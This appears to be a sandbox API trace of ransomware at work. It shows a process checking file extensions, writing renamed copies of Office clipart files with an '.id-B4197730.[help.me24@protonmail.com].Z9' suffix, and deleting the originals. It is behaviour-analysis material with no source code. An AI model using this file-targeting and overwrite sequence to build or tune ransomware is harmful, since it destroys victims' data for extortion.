	[0089.492] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.492] lstrlenW (lpString=".rar") returned 4
	[0089.492] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.492] lstrlenW (lpString=".bz2") returned 4
	[0089.492] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.492] lstrlenW (lpString=".7z") returned 3
	[0089.492] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0089.492] lstrlenW (lpString=".dbf") returned 4
	[0089.492] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0089.492] lstrlenW (lpString=".1cd") returned 4
	[0089.492] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.492] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0089.493] lstrlenW (lpString=".jpg") returned 4
	[0089.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0089.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0089.493] lstrlenW (lpString=".doc") returned 4
	[0089.493] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.493] lstrlenW (lpString=".docx") returned 5
	[0089.493] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.493] lstrlenW (lpString=".pdf") returned 4
	[0089.493] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.493] lstrlenW (lpString=".xls") returned 4
	[0089.493] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.493] lstrlenW (lpString=".xlsx") returned 5
	[0089.493] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.493] lstrlenW (lpString=".ppt") returned 4
	[0089.493] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0089.493] lstrlenW (lpString=".zip") returned 4
	[0089.493] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.493] lstrlenW (lpString=".rar") returned 4
	[0089.493] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.493] lstrlenW (lpString=".bz2") returned 4
	[0089.493] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.493] lstrlenW (lpString=".7z") returned 3
	[0089.493] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0089.493] lstrlenW (lpString=".dbf") returned 4
	[0089.493] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0089.493] lstrlenW (lpString=".1cd") returned 4
	[0089.493] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.493] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00413_.WMF") returned 68
	[0089.493] lstrlenW (lpString=".jpg") returned 4
	[0089.493] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.494] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.494] lstrlenW (lpString="DD00419_.WMF") returned 12
	[0089.494] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.517] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=712) returned 1
	[0089.517] CloseHandle (hObject=0x378) returned 1
	[0089.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 0x220
	[0089.517] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.518] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.518] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.518] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0089.518] GetLastError () returned 0x0
	[0089.518] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x2c8, lpOverlapped=0x0) returned 1
	[0089.519] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x2d0, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x2d0, lpOverlapped=0x0) returned 1
	[0089.520] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.520] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.520] SetEndOfFile (hFile=0x338) returned 1
	[0089.520] CloseHandle (hObject=0x338) returned 1
	[0089.520] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.520] SetEndOfFile (hFile=0x378) returned 1
	[0089.521] CloseHandle (hObject=0x378) returned 1
	[0089.521] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.521] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00419_.wmf")) returned 1
	[0089.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0089.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0089.522] lstrlenW (lpString=".doc") returned 4
	[0089.522] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.522] lstrlenW (lpString=".docx") returned 5
	[0089.522] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.522] lstrlenW (lpString=".pdf") returned 4
	[0089.522] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.522] lstrlenW (lpString=".xls") returned 4
	[0089.522] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.522] lstrlenW (lpString=".xlsx") returned 5
	[0089.522] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.522] lstrlenW (lpString=".ppt") returned 4
	[0089.522] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0089.522] lstrlenW (lpString=".zip") returned 4
	[0089.522] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.522] lstrlenW (lpString=".rar") returned 4
	[0089.522] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.522] lstrlenW (lpString=".bz2") returned 4
	[0089.522] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.522] lstrlenW (lpString=".7z") returned 3
	[0089.522] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0089.522] lstrlenW (lpString=".dbf") returned 4
	[0089.522] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0089.522] lstrlenW (lpString=".1cd") returned 4
	[0089.522] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.522] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0089.523] lstrlenW (lpString=".jpg") returned 4
	[0089.523] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.523] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0089.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0089.524] lstrlenW (lpString=".doc") returned 4
	[0089.524] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.524] lstrlenW (lpString=".docx") returned 5
	[0089.524] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.524] lstrlenW (lpString=".pdf") returned 4
	[0089.524] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.524] lstrlenW (lpString=".xls") returned 4
	[0089.524] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.524] lstrlenW (lpString=".xlsx") returned 5
	[0089.524] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.524] lstrlenW (lpString=".ppt") returned 4
	[0089.524] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0089.524] lstrlenW (lpString=".zip") returned 4
	[0089.524] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.524] lstrlenW (lpString=".rar") returned 4
	[0089.524] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.524] lstrlenW (lpString=".bz2") returned 4
	[0089.524] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.524] lstrlenW (lpString=".7z") returned 3
	[0089.524] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0089.524] lstrlenW (lpString=".dbf") returned 4
	[0089.524] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.524] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0089.524] lstrlenW (lpString=".1cd") returned 4
	[0089.524] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.525] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00419_.WMF") returned 68
	[0089.525] lstrlenW (lpString=".jpg") returned 4
	[0089.525] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.525] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.525] lstrlenW (lpString="DD00687_.WMF") returned 12
	[0089.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.525] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=20784) returned 1
	[0089.525] CloseHandle (hObject=0x378) returned 1
	[0089.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 0x220
	[0089.525] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.525] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.525] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.525] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.526] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0089.526] GetLastError () returned 0x0
	[0089.526] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x5130, lpOverlapped=0x0) returned 1
	[0089.527] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x5140, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x5140, lpOverlapped=0x0) returned 1
	[0089.528] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.529] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.529] SetEndOfFile (hFile=0x338) returned 1
	[0089.529] CloseHandle (hObject=0x338) returned 1
	[0089.529] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.529] SetEndOfFile (hFile=0x378) returned 1
	[0089.530] CloseHandle (hObject=0x378) returned 1
	[0089.530] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.530] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00687_.wmf")) returned 1
	[0089.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0089.530] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0089.530] lstrlenW (lpString=".doc") returned 4
	[0089.530] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.530] lstrlenW (lpString=".docx") returned 5
	[0089.530] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.530] lstrlenW (lpString=".pdf") returned 4
	[0089.530] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.530] lstrlenW (lpString=".xls") returned 4
	[0089.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.531] lstrlenW (lpString=".xlsx") returned 5
	[0089.531] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.531] lstrlenW (lpString=".ppt") returned 4
	[0089.531] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0089.531] lstrlenW (lpString=".zip") returned 4
	[0089.531] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.531] lstrlenW (lpString=".rar") returned 4
	[0089.531] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.531] lstrlenW (lpString=".bz2") returned 4
	[0089.531] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.531] lstrlenW (lpString=".7z") returned 3
	[0089.531] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0089.531] lstrlenW (lpString=".dbf") returned 4
	[0089.531] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0089.531] lstrlenW (lpString=".1cd") returned 4
	[0089.531] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0089.531] lstrlenW (lpString=".jpg") returned 4
	[0089.531] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0089.531] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0089.531] lstrlenW (lpString=".doc") returned 4
	[0089.531] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.531] lstrlenW (lpString=".docx") returned 5
	[0089.531] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.531] lstrlenW (lpString=".pdf") returned 4
	[0089.531] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.531] lstrlenW (lpString=".xls") returned 4
	[0089.531] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.531] lstrlenW (lpString=".xlsx") returned 5
	[0089.531] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.531] lstrlenW (lpString=".ppt") returned 4
	[0089.532] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0089.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0089.532] lstrlenW (lpString=".zip") returned 4
	[0089.532] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0089.532] lstrlenW (lpString=".rar") returned 4
	[0089.532] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0089.532] lstrlenW (lpString=".bz2") returned 4
	[0089.532] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0089.532] lstrlenW (lpString=".7z") returned 3
	[0089.532] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0089.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0089.532] lstrlenW (lpString=".dbf") returned 4
	[0089.532] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0089.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0089.532] lstrlenW (lpString=".1cd") returned 4
	[0089.532] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0089.532] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00687_.WMF") returned 68
	[0089.532] lstrlenW (lpString=".jpg") returned 4
	[0089.532] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0089.532] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0089.532] lstrlenW (lpString="DD00705_.WMF") returned 12
	[0089.532] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.532] GetFileSizeEx (in: hFile=0x378, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=24588) returned 1
	[0089.532] CloseHandle (hObject=0x378) returned 1
	[0089.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 0x220
	[0089.533] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0089.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x378
	[0089.533] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.533] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.533] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338
	[0089.533] GetLastError () returned 0x0
	[0089.533] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x600c, lpOverlapped=0x0) returned 1
	[0089.548] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0x6010, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0x6010, lpOverlapped=0x0) returned 1
	[0089.550] ReadFile (in: hFile=0x378, lpBuffer=0x31ba020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0089.550] WriteFile (in: hFile=0x338, lpBuffer=0x31ba020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x31ba020*, lpNumberOfBytesWritten=0x2c0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0089.550] SetEndOfFile (hFile=0x338) returned 1
	[0089.550] CloseHandle (hObject=0x338) returned 1
	[0089.550] SetFilePointerEx (in: hFile=0x378, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0089.550] SetEndOfFile (hFile=0x378) returned 1
	[0089.551] CloseHandle (hObject=0x378) returned 1
	[0089.551] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0089.551] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\dd00705_.wmf")) returned 1
	[0089.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0089.551] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\DD00705_.WMF") returned 68
	[0089.551] lstrlenW (lpString=".doc") returned 4
	[0089.551] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0089.551] lstrlenW (lpString=".docx") returned 5
	[0089.551] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0089.551] lstrlenW (lpString=".pdf") returned 4
	[0089.552] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0089.552] lstrlenW (lpString=".xls") returned 4
	[0089.552] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0089.552] lstrlenW (lpString=".xlsx") returned 5
	[0089.552] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0089.552] lstrlenW (lpString=".ppt") returned 4
	[0089.552] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
